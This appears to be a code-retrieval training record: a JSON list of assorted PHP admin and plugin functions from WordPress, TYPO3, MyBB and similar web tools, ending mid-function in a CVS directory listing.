type="button" value="remove" onclick="hypha(\'remove\', \''.$file.'\');" /></td>'; else echo '<td></td>'; } else echo '<td></td><td><input type="button" value="install" onclick="hypha(\'add\', \''.$file.'\');" /></td>'; echo '</tr>'; } echo '</table>'; return ob_get_clean(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show_changed_files() {\r\n\t\tcheck_admin_referer('plugin-name-action_wpidenonce'); \r\n\t\tif ( !is_super_admin() )\r\n\t\t\twp_die('<p>'.__('You do not have sufficient permissions to edit templates for this site. SORRY').'</p>');\r\n\t\t\r\n error_reporting(E_ALL);\r\n ini_set(\"display_errors\", 1);\r\n \r\n require_once('git/autoload.php.dist');\r\n //use TQ\\Git\\Cli\\Binary;\r\n //use TQ\\Git\\Repository\\Repository;\r\n \r\n $root = apply_filters( 'wpide_filesystem_root', WP_CONTENT_DIR ) . \"/\"; \r\n \r\n //check repo path entered or die\r\n if ( !strlen($_POST['gitpath']) ) \r\n die(\"Error: Path to your git repository is required!\");\r\n \r\n \r\n $repo_path = $root . sanitize_text_field( $_POST['gitpath'] );\r\n $gitbinary = sanitize_text_field( stripslashes($_POST['gitbinary']) );\r\n \r\n if ( $gitbinary===\"I'll guess..\" ){ //the binary path\r\n \r\n $thebinary = TQ\\Git\\Cli\\Binary::locateBinary();\r\n $git = TQ\\Git\\Repository\\Repository::open($repo_path, new TQ\\Git\\Cli\\Binary( $thebinary ) );\r\n \r\n }else{\r\n \r\n $git = TQ\\Git\\Repository\\Repository::open($repo_path, new TQ\\Git\\Cli\\Binary( $_POST['gitbinary'] ) );\r\n \r\n }\r\n\r\n //echo branch\r\n $branch = $git->getCurrentBranch();\r\n echo \"<p><strong>Current branch:</strong> \" . $branch . \"</p>\";\r\n \r\n // [0] => Array\r\n //(\r\n // [file] => WPide.php\r\n // [x] => \r\n // [y] => M\r\n // [renamed] => \r\n //)\r\n $status = $git->getStatus();\r\n $i=0;//row counter\r\n if ( count($status) ){\r\n \r\n //echo out rows of staged files \r\n foreach ($status as $item){\r\n echo \"<div class='gitfilerow \". ($i % 2 != 0 ? \"light\" : \"\") .\"'><span class='filename'>{$item['file']}</span> <input type='checkbox' name='\". str_replace(\"=\", '_', base64_encode($item['file']) ) .\"' value='\". base64_encode($item['file']) .\"' checked /> \r\n <a href='\". base64_encode($item['file']) .\"' class='viewdiff'>[view diff]</a> <div class='gitdivdiff \". str_replace(\"=\", '_', base64_encode($item['file']) ) .\"'></div> </div>\";\r\n $i++;\r\n }\r\n }else{\r\n echo \"<p class='red'>No changed files in this repo so nothing to commit.</p>\";\r\n }\r\n \r\n //output the commit message box\r\n echo \"<div id='gitdivcommit'><label>Commit message</label><br /><input type='text' id='gitmessage' name='message' class='message' />\r\n <p><a href='#' class='button-primary'>Commit the staged chanages</a></p></div>\";\r\n \r\n //echo $thebinary;\r\n \r\n //$git = Repository::open($repo_path, new Binary('/var/www/siddtes/wpsites.co.uk/git') );\r\n //echo $git->getFileCreationMode().\" ----- \";\r\n // get status of working directory\r\n //$branch = $git->getCurrentBranch();\r\n //echo \"current branch: \" . $branch;\r\n \r\n \r\n //print_r($_POST);\r\n \r\n\t\tdie(); // this is required to return a proper result\r\n\t}", "public function main() {\n\t\t$content = '';\n\n\t\t$this->getExtConf();\n\n\t\tif (empty ($_REQUEST['command'])) {\n\t\t\t$_GET['command'] = '';\n\t\t}\n\t\tswitch ($_REQUEST['command']) {\n\t\t\tcase 'exclude':\n\t\t\t\t\t// set table in EXTCONF as excluded\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->excludeTable();\n\t\t\t\tbreak;\n\t\t\tcase 'backup':\n\t\t\t\t\t// create table backup\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->backupTable();\n\t\t\t\tbreak;\n\t\t\tcase 'convert':\n\t\t\t\t\t// convert table\n\t\t\t\t$this\n\t\t\t\t\t->getTableList() // check access\n\t\t\t\t\t->convertTable();\n\t\t\t\tbreak;\n\t\t\tcase 'update-localconf':\n\t\t\t\t\t// convert table\n\t\t\t\t$this->updateLocalconf();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\t// display table list\n\t\t\t\t$this\n\t\t\t\t\t->getPaths()\n\t\t\t\t\t->loadTemplate()\n\t\t\t\t\t->includeJQuery(TRUE)\n\t\t\t\t\t->getTableList()\n\t\t\t\t\t->displayTableList();\n\t\t\t\t$content .= $this->content;\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $content;\n\t}", "function createOverviewTable($htmFileName,$filelist,$langList){\n\techo \"\\n\\n=============================\\n\";\n\techo \"Creating overview table at $htmFileName\\n\";\n\techo \"=============================\\n\";\n\t$out = \"<th>&nbsp;</th><th>(original)</th>\";\n\tforeach ($langList as $key){\n\t\t$out.=\"<th>$key</th>\";\n\t}\n\t$out = \"<tr>$out</tr>\";\n\t//loop through the files\n\tforeach ($filelist as $file){\n\t\t$filenamepart=explodeFile($file);\n\t\techo \"-----------------------------\\n\";\n\t\techo \"File $file\\n\";\n\t\techo \"-----------------------------\\n\";\n\t\techo \"* Reading original at $file\\n\";\n\t\t$row =\"<th>$file</th>\";\n\t\t$row.=\"<td>\".file_get_contents($file).\"</td>\";\n\t\t//loop through the languages\n\t\tforeach ($langList as $key){\n\t\t\t$row.=\"\\n<!-- ----------------------------------------->\\n\";\n\t\t\t$langFile=$filenamepart[0].\"$key/\".$filenamepart[1];\n\t\t\techo \"* Reading language $key at $langFile\\n\";\n\t\t\t$row.=\"\\n<td>\\n\".file_get_contents($langFile).\"\\n</td>\\n\";\n\t\t}\n\t\t$out .= \"<tr>$row</tr>\";\n\t\t$row.=\"\\n\\n<!-- =========================================== -->\\n\\n\";\n\t}\n\t$out=htmlHeader(\"Overview table\").\"<table border=1>$out</table>\".htmlFooter();\n\tfile_put_contents($htmFileName,$out);\n}", "function main()\t{\n\n\t\t$content = '';\n\n\t\t$content .= '<br /><b>Change table tx_realurl_redirects:</b><br />\n\t\tRemove the field url_hash from the table tx_realurl_redirects, <br />because it\\'s not needed anymore and it\\'s replaced by the standard TCA field uid as soon as you do <br />the DB updates by the extension manager in the main view of this extension.<br /><br />ALTER TABLE tx_realurl_redirects DROP url_hash<br />ALTER TABLE tx_realurl_redirects ADD uid int(11) auto_increment PRIMARY KEY';\n\t\t\n\t\t$import = t3lib_div::_GP('update');\n\n\t\tif ($import == 'Update') {\n\t\t\t$result = $this->updateRedirectsTable();\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<p>Result: '.$result.'</p>';\n\t\t\t$content2 .= '<p>Done. Please accept the update suggestions of the extension manager now!</p>';\n\t\t} else {\n\t\t\t$content2 = '</form>';\n\t\t\t$content2 .= '<form action=\"'.htmlspecialchars(t3lib_div::linkThisScript()).'\" method=\"post\">';\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<input type=\"submit\" name=\"update\" value=\"Update\" />';\n\t\t\t$content2 .= '</form>';\n\t\t} \n\n\t\treturn $content.$content2;\n\t}", "function PKG_showPreviewUpdateSystem($clientName,$completeUpdate)\n{\n\tinclude(\"/m23/inc/i18n/\".$GLOBALS[\"m23_language\"].\"/m23base.php\");\n\n//write table header\n\techo (\"<br><br>\n\t\t<span class=\\\"title\\\">$I18N_updatePreview</span><br><br>\n\t\t\t<table class=\\\"subtable\\\" align=\\\"center\\\" border=0 cellspacing=5>\n\n\t\t\t\t<tr>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t\".PKG_previewUpdateSystem($clientName,$completeUpdate).\"\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t\");\n}", "function display_results($branch, $html=false)\n{\n\tglobal $commit_url, $revision;\n\n\tif (!$html)\n\t{\n\t\techo \"Percent\\tSuccess\\tFailed\\tScript\\t(Features)\\tFile\\tUpdated\\tTime\\n\";\n\t}\n\telse\n\t{\n\t\t$etag = check_send_etag($branch);\n\t\thtml_header();\n\t\techo \"<div class='topmenu'>\".\n\t\t\t\"<input type='button' id='serverinfo' value='Edit serverinfo' onclick='location.href=\\\"/serverinfo.php\\\";'/>\\n\".\n\t\t\t\"Revision: <input id='revision' size='10' placeholder='\".htmlspecialchars($revision).\"' title='Set revision, if it can not be determined from git'/></div>\\n\";\n\t\techo \"<table class='results' data-commit-url='\".htmlspecialchars($commit_url).\"' data-etag='\".htmlspecialchars($etag).\"'>\\n\";\n\t\techo \"<tr class='header'><th></th><th>Percent</th><th>Success</th><th>Failed</th><th>Script (Features)</th><th>File</th><th>Updated</th><th class='time'>Time</th><th class='notes'>N</th></tr>\\n\";\n\t}\n\tforeach(get_script_results($branch) as $script)\n\t{\n\t\tif (empty($script['description']))\n\t\t{\n\t\t\t$script['description'] = strtr($script['name'], array(\n\t\t\t\t'/' => ' ',\n\t\t\t\t'.xml' => '',\n\t\t\t));\n\t\t}\n\t\tif ($script['ignore-all']) $script['require-feature'][] = 'ignore-all';\n\n\t\t$script['time'] = isset($script['time']) ? number_format($script['time'], 2, '.', '') : '';\n\n\t\tif (!$html)\n\t\t{\n\t\t\techo \"$script[percent]\\t$script[success]\\t$script[failed]\\t$script[description] (\".\n\t\t\t\timplode(', ', $script['require-feature']).\")\\t$script[name]\\t$script[updated]\\t$script[time]t$script[notes]\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\t// todo html\n\t\tif (empty($script['name']))\n\t\t{\n\t\t\techo \"<tr class='footer'><td></td>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"<tr id='\".htmlspecialchars($script['name']).\"' class='\".\n\t\t\t\t((string)$script['percent'] === '' ? 'ignored' :\n\t\t\t\t($script['percent']==100.0?'green':($script['percent'] < 50.0 ? 'red' : 'yellow'))).\"'>\".\n\t\t\t\t\"<td class='expand'></td>\";\n\t\t}\n\t\techo \"<td class='percent'>\".htmlspecialchars($script['percent']).\n\t\t\t\"</td><td class='success'>\".htmlspecialchars($script['success']).\n\t\t\t\"</td><td class='failed'>\".htmlspecialchars($script['failed']).\n\t\t\t\"</td><td>\".htmlspecialchars($script['description']).\n\t\t\t\t($script['require-feature'] ? ' ('.htmlspecialchars(implode(', ', $script['require-feature'])).')' : '').\n\t\t\t\"</td><td class='script'>\".htmlspecialchars($script['name']).\n\t\t\t\"</td><td class='updated'>\".htmlspecialchars(substr($script['updated'], 0, -3)).\n\t\t\t\"</td><td class='time'>\".htmlspecialchars($script['time']).\n\t\t\t\"</td><td class='notes'>\".htmlspecialchars($script['notes']).\n\t\t\t\"</td><tr>\\n\";\n\t}\n\tif ($html)\n\t{\n\t\techo \"</table>\\n</body>\\n</html>\\n\";\n\t}\n}", "function mainHTML()\n {\n ?>\n <h1>Upgrade Andromeda From Subversion</h1>\n \n <br/>\n This program will pull the latest release code for\n Andromeda directly from our Sourceforget.net Subversion tree. \n\n <br/>\n <br/>\n <b>This program directly overwrites the running Node Manager\n Code.</b> <span style=\"color:red\"><b>If you have been making changes to your Andromeda\n code on this machine all of those changes will be lost!</b><span>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_pullsvna&gp_out=none')\"\n >Step 1: Pull Code Now</a>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_builder&gp_out=none&txt_application=andro')\"\n >Step 2: Rebuild Node Manager</a>\n \n <?php\n \n }", "function monitis_addon_output($vars) {\n //debug(\"Starting monitis_addon_output\", array($vars, $_POST, $_GET));\n //info(\"This is an info log\");\n //warn(\"This is a warning\");\n //error(\"This is an error\");\n\n // Dispatch output based on get/post params\n // default to the server table\n $success_msg = array();\n $error_msg = array();\n\n if ($_POST) {\n $action = $_POST['action'];\n if ($action) {\n if ($action == 'agent_name') {\n $result = update_agent_name($vars, $_POST['agent_name'], $_POST['ip']);\n print $result;\n return;\n }\n foreach ($_POST['servers'] as $server_ip) {\n if ($action == 'add') {\n $result = add_ping_monitor($vars, $server_ip);\n }\n elseif ($action == 'remove') {\n $result = remove_ping_monitor($vars, $server_ip);\n }\n //elseif ($action == 'remove_deleted') {\n //$result = remove_ping_monitor($vars, $server_ip);\n //}\n if ($msg = $result['ok']) {\n $success_msg[] = $msg;\n }\n else {\n $error_msg[] = $result['err'];\n }\n }\n }\n }\n else { // no POST, check for specific GET-based views\n // Detail view for a specific test ID\n $view = $_GET['view']; \n if ($view == 'detail') {\n if ($test_id = $_GET['test_id']) {\n print view_detail($vars, $test_id);\n }\n }\n elseif ($view == 'save') {\n return;\n }\n elseif ($view == 'agents') {\n print json_encode(agent_names($vars));\n }\n }\n\n print view_status_messages($success_msg, $error_msg);\n print view_server_table($vars);\n //print view_deleted_server_table($vars);\n}", "function overview_install()\n{\n overview_uninstall();\n\n global $db;\n\n // Insert templates\n $templatearray = array(\n \"title\" => \"overview\",\n \"template\" => \"<table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"{\\$theme[\\'borderwidth\\']}\\\" cellpadding=\\\"0\\\" class=\\\"tborder\\\">\n <thead>\n <tr><td colspan=\\\"{\\$num_columns}\\\"><table border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\" width=\\\"100%\\\"><tr class=\\\"thead\\\"><td>{\\$collapseinsert1}<strong>{\\$lang->overview_overview}</strong></td></tr></table></td>\n </tr>\n </thead>\n <tbody{\\$collapseinsert2}>\n {\\$trow_message}\n <tr>\n {\\$overview_content}\n </tr>\n </tbody>\n </table>\n <br />\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_2_columns\",\n \"template\" => \"<td valign=\\\"top\\\" class=\\\"{\\$trow}\\\"><table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\">\n <tr class=\\\"tcat\\\">\n <td colspan=\\\"2\\\" valign=\\\"top\\\"><strong>{\\$table_heading}</strong></td>\n </tr>\n <tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><strong>{\\$column1_heading}</strong></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><strong>{\\$column2_heading}</strong></td>\n </tr>\n {\\$table_content}\n </table></td>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_2_columns_row\",\n \"template\" => \"<tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val1}</div></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val2}</div></td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_3_columns\",\n \"template\" => \"<td valign=\\\"top\\\" class=\\\"{\\$trow}\\\"><table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\">\n <tr class=\\\"tcat\\\">\n <td colspan=\\\"3\\\" valign=\\\"top\\\"><strong>{\\$table_heading}</strong></td>\n </tr>\n <tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><strong>{\\$column1_heading}</strong></td>\n <td valign=\\\"top\\\"><strong>{\\$column2_heading}</strong></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><strong>{\\$column3_heading}</strong></td>\n </tr>\n {\\$table_content}\n </table></td>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_3_columns_row\",\n \"template\" => \"<tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val1}</div></td>\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val2}</div></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val3}</div></td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_message\",\n \"template\" => \"<tr class=\\\"trow1\\\">\n <td colspan=\\\"{\\$num_columns}\\\">\n <table border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\" width=\\\"100%\\\">\n <tr>\n <td class=\\\"smalltext\\\">\n {\\$overview_message}\n </td>\n </tr>\n </table>\n </td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $query = $db->query(\"SELECT MAX(disporder) as disporder\n FROM \".TABLE_PREFIX.\"settinggroups\");\n $row = $db->fetch_array($query);\n $disporder = $row['disporder'] + 1;\n\n // Insert setting groups\n $overview_group = array(\n \"name\" => \"Overview\",\n \"title\" => \"Overview\",\n \"description\" => \"Settings for the \\\"Overview\\\"-Plugin.\",\n \"disporder\" => $disporder,\n \"isdefault\" => 0\n );\n $db->insert_query(\"settinggroups\", $overview_group);\n $gid = intval($db->insert_id());\n\n $disp = 1;\n $spalte = 1;\n\n // Drop down menu with 10 items\n $select10 = implode(\"\\n\", array(\"select\", \"0=No\", \"1=Yes (Order 1)\",\n \"2=Yes (Order 2)\", \"3=Yes (Order 3)\",\n \"4=Yes (Order 4)\", \"5=Yes (Order 5)\",\n \"6=Yes (Order 6)\", \"7=Yes (Order 7)\",\n \"8=Yes (Order 8)\", \"9=Yes (Order 9)\",\n \"10=Yes (Order 10)\"));\n\n // Insert settings\n $setting = array(\n \"name\" => \"overview_max\",\n \"title\" => \"Number of Items\",\n \"description\" => \"Enter the number of items (Users/Threads/Posts) to be shown.\",\n \"optionscode\" => \"text\",\n \"value\" => 5,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_members\",\n \"title\" => \"Show newest members?\",\n \"description\" => \"Choose if you want the newest members to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_top_posters\",\n \"title\" => \"Show Top Posters?\",\n \"description\" => \"Choose if you want the top posters to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => intval($gid)\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_threads\",\n \"title\" => \"Show newest threads?\",\n \"description\" => \"Choose if you want the newest threads to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => intval($gid)\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_most_replies\",\n \"title\" => \"Show threads with most replies?\",\n \"description\" => \"Choose if you want the threads with the most replies to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_favourite_threads\",\n \"title\" => \"Show favourite Threads?\",\n \"description\" => \"Choose if you want the favourite threads to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_posts\",\n \"title\" => \"Show newest posts?\",\n \"description\" => \"Choose if you want the newest posts to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_edited_posts\",\n \"title\" => \"Show recently edited posts?\",\n \"description\" => \"Choose if you want the recently edited posts to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_bestrep_members\",\n \"title\" => \"Show best reputated members?\",\n \"description\" => \"Choose if you want the best reputated members to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_polls\",\n \"title\" => \"Show best newest polls?\",\n \"description\" => \"Choose if you want the newest polls to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_next_events\",\n \"title\" => \"Show best next events?\",\n \"description\" => \"Choose if you want the next events to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_show_re\",\n \"title\" => \"Do you want to show the \\\"RE:\\\" from the subjects of replies?\",\n \"description\" => \"Choose if you want the \\\"RE:\\\" to be shown in front of the subjects of replies.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_subjects_length\",\n \"title\" => \"Number of Characters\",\n \"description\" => \"How many characters of subjects should be shown (0 = show all)?\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_usernamestyle\",\n \"title\" => \"Format usernames?\",\n \"description\" => \"Do you want to format the usernames in the style of their usergroups?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_showicon\",\n \"title\" => \"Show post icons?\",\n \"description\" => \"Do you want to display post icons in front of subjects?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_showprefix\",\n \"title\" => \"Show thread prefix?\",\n \"description\" => \"Do you want to display thread prefix in front of subjects?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_trow_message_onoff\",\n \"title\" => \"Show message?\",\n \"description\" => \"Choose if you want to show a message.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_trow_message\",\n \"title\" => \"Message\",\n \"description\" => \"Enter the message. You can use MyCode.\",\n \"optionscode\" => \"textarea\",\n \"value\" => \"Enter your message here!\",\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_ajax\",\n \"title\" => \"AJAX\",\n \"description\" => \"Time (in seconds) if you want the overview box to reload itself periodically using AJAX. Set to 0 to disable.\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_ajax_loading\",\n \"title\" => \"Loading\",\n \"description\" => \"When using AJAX, do you want to show a \\\"Loading\\\"-Window?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_usergroups\",\n \"title\" => \"Disable overview for usergroups\",\n \"description\" => \"Enter the IDs of the usergroups that should not see the overview table (0 = none). Seperate several IDs with commas.\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_noindex\",\n \"title\" => \"Hide overview from index page\",\n \"description\" => \"If you don\\\\'t want the overview to display on the index page, say yes. This is only useful if you make a custom overview page.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_cache\",\n \"title\" => \"Cache overview\",\n \"description\" => \"Building the Overview requires some database queries. The Overview result can be cached to reduce server load. Specify for how long the cache should be used (in seconds). Setting to 0 disables the cache.\",\n \"optionscode\" => \"text\",\n \"value\" => 300,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n // rebuild settings.php\n rebuild_settings();\n}", "function main() {\n\t\t// Initializes the module. Done in this function because we may need to re-initialize if data is submitted!\n\t\tglobal $SOBE,$BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// set the path for navigation bar\n\t\t$infoPath = $this->pObj->getFolderNavBar($this->pObj->pathInfo);\n\n\t\t// create a instance of dam object\n\t\t$damObj = &t3lib_div::getUserObj('tx_dam');\n\n\t\t// create a html table with the informations from local server\n\t\t$table = '';\n\t\t$table .= '<table class=\"typo3-dblist typo3-filelist\" cellspacing=\"0\" border=\"0\" style=\"width:100%\">';\n\t\t$table .= '<tr>';\n\t\t$table .= '<td class=\"c-headLine\" nowrap=\"nowrap\" valign=\"top\" align=\"left\" style=\"border-bottom: 1px solid #888888; padding-left: 5px;\">'.$LANG->getLL(\"filename\").'</td>';\n\t\t$table .= '<td class=\"c-headLine\" nowrap=\"nowrap\" valign=\"top\" align=\"left\" style=\"border-bottom: 1px solid #888888; padding-left: 5px;\">'.$LANG->getLL(\"size\").'</td>';\n\t\t$table .= '<td class=\"c-headLine\" nowrap=\"nowrap\" valign=\"top\" align=\"left\" style=\"border-bottom: 1px solid #888888; padding-left: 5px;\">'.$LANG->getLL(\"status\").'</td>';\n\t\t$table .= '</tr>';\n\n\n\t\t$dh = dir($this->pObj->pathInfo['dir_path_absolute']);\n\t\t$count = 0;\n\t\twhile (false !== ($entry = $dh->read()))\n\t\t{\n\t\t\tif($entry!=='.' and $entry!=='..' and is_file($this->pObj->pathInfo['dir_path_absolute'].$entry))\n\t\t\t{\n\t\t\t\tif(($count%2) == 0)\n\t\t\t\t\t$rowColor = '#FAFAFA';\n\t\t\t\telse\n\t\t\t\t\t$rowColor = '#F5F5F5';\n\n\t\t\t\t$fieldList = 'uid,pid,file_name, file_path, file_size,tx_damivsvideobasic_encode,tx_damivsvideobasic_status';\n\t\t\t\t$meta = $damObj->meta_getDataForFile($this->pObj->pathInfo['dir_path_absolute'].$entry, $fieldList);\n\t\t\t\t//t3lib_div::devLog('File Meta', 'dam_ivs_videobasic', 1, array('result' => $meta));\n\t\t\t\t$table .= '<tr style=\"background-color:'.$rowColor.';\">';\n\t\t\t\t$table .= '<td class=\"typo3-dblist-item\" style=\"padding-left:5px;\">'.$meta['file_name'].'</td>';\n\t\t\t\t$table .= '<td class=\"typo3-dblist-item\" style=\"padding-left:5px;\">'.$meta['file_size'].'</td>';\n\n\t\t\t\tif($meta['tx_damivsvideobasic_status']=='0')\n\t\t\t\t\t$meta['tx_damivsvideobasic_status'] = $LANG->getLL(\"notsubmitted\");\n\t\t\t\tif($meta['tx_damivsvideobasic_status']=='1')\n\t\t\t\t\t$meta['tx_damivsvideobasic_status'] = $LANG->getLL(\"wait\");\n\t\t\t\tif($meta['tx_damivsvideobasic_status']=='2')\n\t\t\t\t\t$meta['tx_damivsvideobasic_status'] = $LANG->getLL(\"encodingerror\");\n\t\t\t\tif($meta['tx_damivsvideobasic_status']=='3')\n\t\t\t\t\t$meta['tx_damivsvideobasic_status'] = $LANG->getLL(\"ready\");\n\n\t\t\t\t$table .= '<td class=\"typo3-dblist-item\" style=\"padding-left:5px;\">'.$meta['tx_damivsvideobasic_status'].'</td>';\n\t\t\t\t$table .= '</tr>';\n\n\t\t\t\t$count++;\n\t\t\t}\n\t\t}\n\n\t\t$table .= '</table>';\n\n\n\t\t$theOutput.=$this->pObj->doc->spacer(5);\n\t\t$theOutput.=$this->pObj->doc->section($LANG->getLL(\"title\"),$table,0,1);\n\n\t\t$theOutput.=$this->pObj->doc->divider(5);\n\n\t\t$menu=array();\n\t\t$menu[]=t3lib_BEfunc::getFuncCheck($this->pObj->id,\"SET[tx_dam_ivs_videobasic_modfunc_status_check]\",$this->pObj->MOD_SETTINGS[\"tx_dam_ivs_videobasic_modfunc_status_check\"]).$LANG->getLL(\"checklabel\");\n\t\t$theOutput.=$this->pObj->doc->spacer(5);\n\t\t$theOutput.=$this->pObj->doc->section(\"Menu\",implode(\" - \",$menu),0,1);\n\n\t\treturn $theOutput;\n\t}", "function DisplayDirListing()\n{\n\tglobal $gBitSmarty, $env;\n\n\t// Create our CVS connection object and set the required properties.\n\t$CVSServer = new CVS_PServer($env['CVSSettings']['cvsroot'], $env['CVSSettings']['server'], $env['CVSSettings']['username'], $env['CVSSettings']['passwd']);\n\n\t// Connect to the CVS server.\n\tif ($CVSServer->Connect() === true) {\n\n\t\t// Authenticate against the server.\n\t\t$Response = $CVSServer->Authenticate();\n\t\tif ($Response !== true) {\n\t\t\t$gBitSmarty->assign('error', \"ERROR: \".$Response);\n\t\t\treturn;\n\t\t}\n\n\t\t// Get a RLOG of the module path specified in 